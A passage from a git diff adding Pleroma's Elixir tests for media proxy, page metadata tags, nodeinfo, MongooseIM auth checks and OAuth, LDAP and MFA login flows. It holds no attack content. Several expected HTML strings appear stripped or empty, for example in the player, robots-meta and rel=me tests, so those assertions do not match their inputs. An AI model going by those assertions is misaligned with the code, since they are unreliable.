"https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + test "preserve unicode characters" do + url = "https://ko.wikipedia.org/wiki/위키백과:대문" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + end + + describe "when disabled" do + setup do: clear_config([:media_proxy, :enabled], false) + + test "does not encode remote urls" do + assert MediaProxy.url("https://google.fr") == "https://google.fr" + end + end + + describe "whitelist" do + setup do: clear_config([:media_proxy, :enabled], true) + + test "mediaproxy whitelist" do + clear_config([:media_proxy, :whitelist], ["https://google.com", "https://feld.me"]) + url = "https://feld.me/foo.png" + + unencoded = MediaProxy.url(url) + assert unencoded == url + end + + # TODO: delete after removing support bare domains for media proxy whitelist + test "mediaproxy whitelist bare domains whitelist (deprecated)" do + clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) + url = "https://feld.me/foo.png" + + unencoded = MediaProxy.url(url) + assert unencoded == url + end + + test "does not change whitelisted urls" do + clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") + + media_url = "https://mycdn.akamai.com" + + url = "#{media_url}/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, media_url) + end + + test "ensure Pleroma.Upload base_url is always whitelisted" do + media_url = "https://media.pleroma.social" + clear_config([Pleroma.Upload, :base_url], media_url) + + url = "#{media_url}/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, media_url) + end + end +end diff --git a/test/pleroma/web/metadata/player_view_test.exs b/test/pleroma/web/metadata/player_view_test.exs new file mode 100644 index 000000000..e6c990242 --- /dev/null +++ b/test/pleroma/web/metadata/player_view_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.PlayerViewTest do + use Pleroma.DataCase + + alias Pleroma.Web.Metadata.PlayerView + + test "it renders audio tag" do + res = + PlayerView.render( + "player.html", + %{"mediaType" => "audio", "href" => "test-href"} + ) + |> Phoenix.HTML.safe_to_string() + + assert res == + "" + end + + test "it renders videos tag" do + res = + PlayerView.render( + "player.html", + %{"mediaType" => "video", "href" => "test-href"} + ) + |> Phoenix.HTML.safe_to_string() + + assert res == + "" + end +end diff --git a/test/pleroma/web/metadata/providers/feed_test.exs b/test/pleroma/web/metadata/providers/feed_test.exs new file mode 100644 index 000000000..e6e5cc5ed --- /dev/null +++ b/test/pleroma/web/metadata/providers/feed_test.exs @@ -0,0 +1,18 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.FeedTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.Feed + + test "it renders a link to user's atom feed" do + user = insert(:user, nickname: "lain") + + assert Feed.build_tags(%{user: user}) == [ + {:link, + [rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []} + ] + end +end diff --git a/test/pleroma/web/metadata/providers/open_graph_test.exs b/test/pleroma/web/metadata/providers/open_graph_test.exs new file mode 100644 index 000000000..218540e6c --- /dev/null +++ b/test/pleroma/web/metadata/providers/open_graph_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.OpenGraphTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.OpenGraph + + setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) + + test "it renders all supported types of attachments and skips unknown types" do + user = insert(:user) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"} + ] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + }, + %{ + "url" => [ + %{ + "mediaType" => "audio/basic", + "href" => "http://www.gnu.org/music/free-software-song.au" + } + ] + } + ] + } + }) + + result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) + + assert Enum.all?( + [ + {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []}, + {:meta, + [property: "og:audio", content: "http://www.gnu.org/music/free-software-song.au"], + []}, + {:meta, [property: "og:video", content: "https://pleroma.gov/about/juche.webm"], + []} + ], + fn element -> element in result end + ) + end + + test "it does not render attachments if post is nsfw" do + Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) + user = insert(:user, avatar: %{"url" => [%{"href" => "https://pleroma.gov/tenshi.png"}]}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "id" => "https://pleroma.gov/objects/whatever", + "content" => "#cuteposting #nsfw #hambaga", + "tag" => ["cuteposting", "nsfw", "hambaga"], + "sensitive" => true, + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://misskey.microsoft/corndog.png"} + ] + } + ] + } + }) + + result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) + + assert {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []} in result + + refute {:meta, [property: "og:image", content: "https://misskey.microsoft/corndog.png"], []} in result + end +end diff --git a/test/pleroma/web/metadata/providers/rel_me_test.exs b/test/pleroma/web/metadata/providers/rel_me_test.exs new file mode 100644 index 000000000..2293d6e13 --- /dev/null +++ b/test/pleroma/web/metadata/providers/rel_me_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RelMeTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.RelMe + + test "it renders all links with rel='me' from user bio" do + bio = + ~s(https://some-link.com https://another-link.com ) + + user = insert(:user, %{bio: bio}) + + assert RelMe.build_tags(%{user: user}) == [ + {:link, [rel: "me", href: "http://some3.com"], []}, + {:link, [rel: "me", href: "https://another-link.com"], []} + ] + end +end diff --git a/test/pleroma/web/metadata/providers/restrict_indexing_test.exs b/test/pleroma/web/metadata/providers/restrict_indexing_test.exs new file mode 100644 index 000000000..6b3a65372 --- /dev/null +++ b/test/pleroma/web/metadata/providers/restrict_indexing_test.exs @@ -0,0 +1,27 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RestrictIndexingTest do + use ExUnit.Case, async: true + + describe "build_tags/1" do + test "for remote user" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end + + test "for local user" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: true} + }) == [] + end + + test "for local user when discoverable is false" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end + end +end diff --git a/test/pleroma/web/metadata/providers/twitter_card_test.exs b/test/pleroma/web/metadata/providers/twitter_card_test.exs new file mode 100644 index 000000000..10931b5ba --- /dev/null +++ b/test/pleroma/web/metadata/providers/twitter_card_test.exs @@ -0,0 +1,150 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Metadata.Providers.TwitterCard + alias Pleroma.Web.Metadata.Utils + alias Pleroma.Web.Router + + setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) + + test "it renders twitter card for user info" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + avatar_url = Utils.attachment_url(User.avatar_url(user)) + res = TwitterCard.build_tags(%{user: user}) + + assert res == [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "born 19 March 1994"], []}, + {:meta, [property: "twitter:image", content: avatar_url], []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] + end + + test "it uses summary twittercard if post has no attachment" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell" + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], + []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] == result + end + + test "it renders avatar not attachment if post is nsfw and unfurl_nsfw is disabled" do + Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "sensitive" => true, + "attachment" => [ + %{ + "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + } + ] + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], + []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] == result + end + + test "it renders supported types of attachments and skips unknown types" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "attachment" => [ + %{ + "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + } + ] + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:card", content: "summary_large_image"], []}, + {:meta, [property: "twitter:player", content: "https://pleroma.gov/tenshi.png"], []}, + {:meta, [property: "twitter:card", content: "player"], []}, + {:meta, + [ + property: "twitter:player", + content: Router.Helpers.o_status_url(Endpoint, :notice_player, activity.id) + ], []}, + {:meta, [property: "twitter:player:width", content: "480"], []}, + {:meta, [property: "twitter:player:height", content: "480"], []} + ] == result + end +end diff --git a/test/pleroma/web/metadata/utils_test.exs b/test/pleroma/web/metadata/utils_test.exs new file mode 100644 index 000000000..8183256d8 --- /dev/null +++ b/test/pleroma/web/metadata/utils_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.UtilsTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Utils + + describe "scrub_html_and_truncate/1" do + test "it returns text without encode HTML" do + user = insert(:user) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "id" => "https://pleroma.gov/objects/whatever", + "content" => "Pleroma's really cool!" + } + }) + + assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!" + end + end + + describe "scrub_html_and_truncate/2" do + test "it returns text without encode HTML" do + assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!" + end + end +end diff --git a/test/pleroma/web/metadata_test.exs b/test/pleroma/web/metadata_test.exs new file mode 100644 index 000000000..ca6cbe67f --- /dev/null +++ b/test/pleroma/web/metadata_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MetadataTest do + use Pleroma.DataCase, async: true + + import Pleroma.Factory + + describe "restrict indexing remote users" do + test "for remote user" do + user = insert(:user, local: false) + + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user" do + user = insert(:user, discoverable: false) + + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user set to discoverable" do + user = insert(:user, discoverable: true) + + refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + end + + describe "no metadata for private instances" do + test "for local user set to discoverable" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) + + assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) + end + + test "search exclusion metadata is included" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) + + assert ~s() == + Pleroma.Web.Metadata.build_tags(%{user: user}) + end + end +end diff --git a/test/pleroma/web/mongoose_im_controller_test.exs b/test/pleroma/web/mongoose_im_controller_test.exs new file mode 100644 index 000000000..e3a8aa3d8 --- /dev/null +++ b/test/pleroma/web/mongoose_im_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MongooseIMControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + test "/user_exists", %{conn: conn} do + _user = insert(:user, nickname: "lain") + _remote_user = insert(:user, nickname: "alice", local: false) + _deactivated_user = insert(:user, nickname: "konata", deactivated: true) + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "lain") + |> json_response(200) + + assert res == true + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "alice") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "bob") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "konata") + |> json_response(404) + + assert res == false + end + + test "/check_password", %{conn: conn} do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("cool")) + + _deactivated_user = + insert(:user, + nickname: "konata", + deactivated: true, + password_hash: Pbkdf2.hash_pwd_salt("cool") + ) + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool") + |> json_response(200) + + assert res == true + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool") + |> json_response(403) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: "konata", pass: "cool") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool") + |> json_response(404) + + assert res == false + end +end diff --git a/test/pleroma/web/node_info_test.exs b/test/pleroma/web/node_info_test.exs new file mode 100644 index 000000000..06b33607f --- /dev/null +++ b/test/pleroma/web/node_info_test.exs @@ -0,0 +1,188 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.NodeInfoTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + + setup do: clear_config([:mrf_simple]) + setup do: clear_config(:instance) + + test "GET /.well-known/nodeinfo", %{conn: conn} do + links = + conn + |> get("/.well-known/nodeinfo") + |> json_response(200) + |> Map.fetch!("links") + + Enum.each(links, fn link -> + href = Map.fetch!(link, "href") + + conn + |> get(href) + |> json_response(200) + end) + end + + test "nodeinfo shows staff accounts", %{conn: conn} do + moderator = insert(:user, local: true, is_moderator: true) + admin = insert(:user, local: true, is_admin: true) + + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + + assert moderator.ap_id in result["metadata"]["staffAccounts"] + assert admin.ap_id in result["metadata"]["staffAccounts"] + end + + test "nodeinfo shows restricted nicknames", %{conn: conn} do + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + + assert Config.get([Pleroma.User, :restricted_nicknames]) == + result["metadata"]["restrictedNicknames"] + end + + test "returns software.repository field in nodeinfo 2.1", %{conn: conn} do + conn + |> get("/.well-known/nodeinfo") + |> json_response(200) + + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + assert Pleroma.Application.repository() == result["software"]["repository"] + end + + test "returns fieldsLimits field", %{conn: conn} do + clear_config([:instance, :max_account_fields], 10) + clear_config([:instance, :max_remote_account_fields], 15) + clear_config([:instance, :account_field_name_length], 255) + clear_config([:instance, :account_field_value_length], 2048) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["fieldsLimits"]["maxFields"] == 10 + assert response["metadata"]["fieldsLimits"]["maxRemoteFields"] == 15 + assert response["metadata"]["fieldsLimits"]["nameLength"] == 255 + assert response["metadata"]["fieldsLimits"]["valueLength"] == 2048 + end + + test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do + clear_config([:instance, :safe_dm_mentions], true) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert "safe_dm_mentions" in response["metadata"]["features"] + + Config.put([:instance, :safe_dm_mentions], false) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + refute "safe_dm_mentions" in response["metadata"]["features"] + end + + describe "`metadata/federation/enabled`" do + setup do: clear_config([:instance, :federating]) + + test "it shows if federation is enabled/disabled", %{conn: conn} do + Config.put([:instance, :federating], true) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["enabled"] == true + + Config.put([:instance, :federating], false) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["enabled"] == false + end + end + + test "it shows default features flags", %{conn: conn} do + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + default_features = [ + "pleroma_api", + "mastodon_api", + "mastodon_api_streaming", + "polls", + "pleroma_explicit_addressing", + "shareable_emoji_packs", + "multifetch", + "pleroma_emoji_reactions", + "pleroma:api/v1/notifications:include_types_filter", + "pleroma_chat_messages" + ] + + assert MapSet.subset?( + MapSet.new(default_features), + MapSet.new(response["metadata"]["features"]) + ) + end + + test "it shows MRF transparency data if enabled", %{conn: conn} do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) + clear_config([:mrf, :transparency], true) + + simple_config = %{"reject" => ["example.com"]} + clear_config(:mrf_simple, simple_config) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["mrf_simple"] == simple_config + end + + test "it performs exclusions from MRF transparency data if configured", %{conn: conn} do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) + clear_config([:mrf, :transparency], true) + clear_config([:mrf, :transparency_exclusions], ["other.site"]) + + simple_config = %{"reject" => ["example.com", "other.site"]} + clear_config(:mrf_simple, simple_config) + + expected_config = %{"reject" => ["example.com"]} + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["mrf_simple"] == expected_config + assert response["metadata"]["federation"]["exclusions"] == true + end +end diff --git a/test/pleroma/web/o_auth/app_test.exs b/test/pleroma/web/o_auth/app_test.exs new file mode 100644 index 000000000..993a490e0 --- /dev/null +++ b/test/pleroma/web/o_auth/app_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AppTest do + use Pleroma.DataCase + + alias Pleroma.Web.OAuth.App + import Pleroma.Factory + + describe "get_or_make/2" do + test "gets exist app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) + assert exist_app == app + end + + test "make app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) + assert app.scopes == ["write"] + end + + test "gets exist app and updates scopes" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) + assert exist_app.id == app.id + assert exist_app.scopes == ["read", "write", "follow", "push"] + end + + test "has unique client_id" do + insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop") + + error = + catch_error(insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop")) + + assert %Ecto.ConstraintError{} = error + assert error.constraint == "apps_client_id_index" + assert error.type == :unique + end + end +end diff --git a/test/pleroma/web/o_auth/authorization_test.exs b/test/pleroma/web/o_auth/authorization_test.exs new file mode 100644 index 000000000..d74b26cf8 --- /dev/null +++ b/test/pleroma/web/o_auth/authorization_test.exs @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AuthorizationTest do + use Pleroma.DataCase + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + import Pleroma.Factory + + setup do + {:ok, app} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client", + scopes: ["read", "write"], + redirect_uris: "url" + }) + ) + + %{app: app} + end + + test "create an authorization token for a valid app", %{app: app} do + user = insert(:user) + + {:ok, auth1} = Authorization.create_authorization(app, user) + assert auth1.scopes == app.scopes + + {:ok, auth2} = Authorization.create_authorization(app, user, ["read"]) + assert auth2.scopes == ["read"] + + for auth <- [auth1, auth2] do + assert auth.user_id == user.id + assert auth.app_id == app.id + assert String.length(auth.token) > 10 + assert auth.used == false + end + end + + test "use up a token", %{app: app} do + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user) + + {:ok, auth} = Authorization.use_token(auth) + + assert auth.used == true + + assert {:error, "already used"} == Authorization.use_token(auth) + + expired_auth = %Authorization{ + user_id: user.id, + app_id: app.id, + valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10), + token: "mytoken", + used: false + } + + {:ok, expired_auth} = Repo.insert(expired_auth) + + assert {:error, "token expired"} == Authorization.use_token(expired_auth) + end + + test "delete authorizations", %{app: app} do + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user) + {:ok, auth} = Authorization.use_token(auth) + + Authorization.delete_user_authorizations(user) + + {_, invalid} = Authorization.use_token(auth) + + assert auth != invalid + end +end diff --git a/test/pleroma/web/o_auth/ldap_authorization_test.exs b/test/pleroma/web/o_auth/ldap_authorization_test.exs new file mode 100644 index 000000000..63b1c0eb8 --- /dev/null +++ b/test/pleroma/web/o_auth/ldap_authorization_test.exs @@ -0,0 +1,135 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.LDAPAuthorizationTest do + use Pleroma.Web.ConnCase + alias Pleroma.Repo + alias Pleroma.Web.OAuth.Token + import Pleroma.Factory + import Mock + + @skip if !Code.ensure_loaded?(:eldap), do: :skip + + setup_all do: clear_config([:ldap, :enabled], true) + + setup_all do: clear_config(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator) + + @tag @skip + test "authorizes the existing user using LDAP credentials" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> :ok end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + + assert token.user_id == user.id + assert_received :close_connection + end + end + + @tag @skip + test "creates a new user after successful LDAP authorization" do + password = "testpassword" + user = build(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> :ok end, + equalityMatch: fn _type, _value -> :ok end, + wholeSubtree: fn -> :ok end, + search: fn _connection, _options -> + {:ok, {:eldap_search_result, [{:eldap_entry, '', []}], []}} + end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) |> Repo.preload(:user) + + assert token.user.nickname == user.nickname + assert_received :close_connection + end + end + + @tag @skip + test "disallow authorization for wrong LDAP credentials" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> {:error, :invalidCredentials} end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"error" => "Invalid credentials"} = json_response(conn, 400) + assert_received :close_connection + end + end +end diff --git a/test/pleroma/web/o_auth/mfa_controller_test.exs b/test/pleroma/web/o_auth/mfa_controller_test.exs new file mode 100644 index 000000000..3c341facd --- /dev/null +++ b/test/pleroma/web/o_auth/mfa_controller_test.exs @@ -0,0 +1,306 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.MFAControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + alias Pleroma.MFA + alias Pleroma.MFA.BackupCodes + alias Pleroma.MFA.TOTP + alias Pleroma.Repo + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.OAuthController + + setup %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: [Pbkdf2.hash_pwd_salt("test-code")], + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app) + {:ok, conn: conn, user: user, app: app} + end + + describe "show" do + setup %{conn: conn, user: user, app: app} do + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + {:ok, conn: conn, mfa_token: mfa_token} + end + + test "GET /oauth/mfa renders mfa forms", %{conn: conn, mfa_token: mfa_token} do + conn = + get( + conn, + "/oauth/mfa", + %{ + "mfa_token" => mfa_token.token, + "state" => "a_state", + "redirect_uri" => "http://localhost:8080/callback" + } + ) + + assert response = html_response(conn, 200) + assert response =~ "Two-factor authentication" + assert response =~ mfa_token.token + assert response =~ "http://localhost:8080/callback" + end + + test "GET /oauth/mfa renders mfa recovery forms", %{conn: conn, mfa_token: mfa_token} do + conn = + get( + conn, + "/oauth/mfa", + %{ + "mfa_token" => mfa_token.token, + "state" => "a_state", + "redirect_uri" => "http://localhost:8080/callback", + "challenge_type" => "recovery" + } + 